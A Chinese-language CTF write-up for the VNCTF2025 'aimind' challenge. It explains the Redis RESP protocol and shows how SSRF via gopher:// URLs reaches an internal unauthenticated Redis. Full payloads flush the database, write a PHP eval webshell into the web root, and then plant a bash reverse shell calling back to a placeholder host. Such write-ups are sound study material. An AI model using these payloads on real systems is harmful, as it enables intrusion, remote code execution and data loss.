VNCTF2025 Misc aimind [SSRF]

进去之后发现是一个思维导图,提示内网有一个redis,结合只能输入URL能想到是SSRF

看了一下环境变量里面没有flag,file:///也读不到flag,看了一下/etc/hosts得到172.18.0.3的IP,直接访问http://172.18.0.3/能发现是一个CentOS的apache服务,file:///etc/passwd看了一下是www-data,/var/www

dict://172.18.0.3:6379/看了一下是有一个redis未授权,本来想做主从复制直接exec的,奈何没给module命令
那么还有两个办法,一个是往/var/www/html/里面写马,还有一个是在/var/spool/cron里写计划任务(仅限CentOS)
学习了一下SSRF利用Redis的原理,Redis服务器与客户端通过RESP(REdis Serialization Protocol)协议通信
RESP协议是在Redis 1.2中引入的,但它成为了与Redis 2.0中的Redis服务器通信的标准方式
RESP实际上是一个支持 简单字符串 错误 整数 批量字符串 数组 的序列化协议
在RESP中,某数据的类型取决于第一个字节:
- 对于客户端请求
Simple Strings
,回复的第一个字节是+
- 对于客户端请求
error
,回复的第一个字节是-
- 对于客户端请求
Integer
,回复的第一个字节是:
- 对于客户端请求
Bulk Strings
,回复的第一个字节是$
- 对于客户端请求
array
,回复的第一个字节是*
在RESP中,协议的不同部分始终以"\r\n"(CRLF)
结束。将命令发送到Redis服务器的流程为
客户端向Redis服务器发送一个仅由Bulk Strings组成的RESP Arrays
Redis服务器发送任何有效RESP数据类型作为回复返回给客户端
Bulk Strings用于表示长度最大为512 MB的单个二进制安全字符串,按以下方式编码:
- $字节数:一个$后跟组成字符串的字节数,由CRLF终止。
- 字符串数据
- CRLF
字符串f4ke的编码如下:$4\r\nf4ke\r\n,如下图格式
RESP Arrays使用以下格式发送:
- 元素数:*字符作为第一个字节,后跟数组中的元素数,后跟CRLF
- 数组中的每个元素都附加RESP类型
现在通过下图理解数据包:
- 每一个*number代表每一行命令,number代表每行命令中数组中的元素个数
- $number代表每个元素的长度

于是构造如下payload并url编码后传参写马
1
| gopher://172.18.0.3:6379/_*1%0D%0A$8%0D%0Aflushall%0D%0A*4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$3%0D%0Adir%0D%0A$13%0D%0A/var/www/html%0D%0A*4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$10%0D%0Adbfilename%0D%0A$10%0D%0Ashell7.php%0D%0A*3%0D%0A$3%0D%0Aset%0D%0A$8%0D%0Awebshell%0D%0A$36%0D%0A%5Cn%5Cn%3C?php%20@eval($_GET%5Bcmd%5D)%22);?%3E%5Cn%5Cn%0D%0A*1%0D%0A$4%0D%0Asave%0D%0A*1%0D%0A$4%0D%0Aquit
|
然后访问http://172.18.0.3/shell7.php?cmd=system(%27ls%s);发现返回500,猜测是写入redis文件时的数据导致的,查看了/app/app.py的源码,发现判断了获取的内容是否能解析,于是修改payload,直接写入反弹shell的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| gopher://172.18.0.3:6379/_*1 $8 flushall *4 $6 config $3 set $3 dir $13 /var/www/html *4 $6 config $3 set $10 dbfilename $11 shell12.php *3 $3 set $8 webshell $74 \n\n<?php system("/bin/bash -i 0>/dev/tcp/xx.xx.xxx.xxx/1234 1>&0");?>\n\n *1 $4 save *1 $4 quit
|
1
| gopher://172.18.0.3:6379/_*1%0D%0A$8%0D%0Aflushall%0D%0A*4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$3%0D%0Adir%0D%0A$13%0D%0A/var/www/html%0D%0A*4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$10%0D%0Adbfilename%0D%0A$11%0D%0Ashell12.php%0D%0A*3%0D%0A$3%0D%0Aset%0D%0A$8%0D%0Awebshell%0D%0A$74%0D%0A%5Cn%5Cn%3C?php%20system(%22/bin/bash%20-i%200%3E/dev/tcp/xx.xx.xxx.xxx/1234%201%3E&0%22);?%3E%5Cn%5Cn%0D%0A*1%0D%0A$4%0D%0Asave%0D%0A*1%0D%0A$4%0D%0Aquit
|
拿到shell,cat /flag获得flag
